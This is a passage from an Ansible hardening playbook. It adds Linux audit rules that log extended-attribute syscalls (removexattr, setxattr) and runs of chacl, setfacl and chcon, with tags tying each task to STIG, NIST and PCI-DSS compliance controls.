    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_removexattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for removexattr for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - removexattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of removexattr in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - removexattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of removexattr in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_removexattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit setxattr tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_setxattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for setxattr for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - setxattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of setxattr in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - setxattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of setxattr in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_setxattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for setxattr for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - setxattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of setxattr in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/perm_mod.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/perm_mod.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - setxattr
        syscall_grouping:
        - fremovexattr
        - lremovexattr
        - removexattr
        - fsetxattr
        - lsetxattr
        - setxattr

    - name: Check existence of setxattr in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=perm_mod
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030200
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.5.5
    - PCI-DSSv4-10.3
    - PCI-DSSv4-10.3.4
    - audit_rules_dac_modification_setxattr
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Record Any Attempts to Run chacl - Perform remediation of Audit rules for
      /usr/bin/chacl
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/chacl -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/chacl -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/chacl -F auid&gt;=1000
          -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/chacl -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/chacl -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/chacl -F auid&gt;=1000
          -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030570
    - audit_rules_execution_chacl
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Any Attempts to Run setfacl - Perform remediation of Audit rules
      for /usr/bin/setfacl
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/setfacl -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/setfacl -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/setfacl -F
          auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/setfacl -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/setfacl -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/setfacl -F
          auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030330
    - audit_rules_execution_setfacl
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Any Attempts to Run chcon - Perform remediation of Audit rules for
      /usr/bin/chcon
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/chcon -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
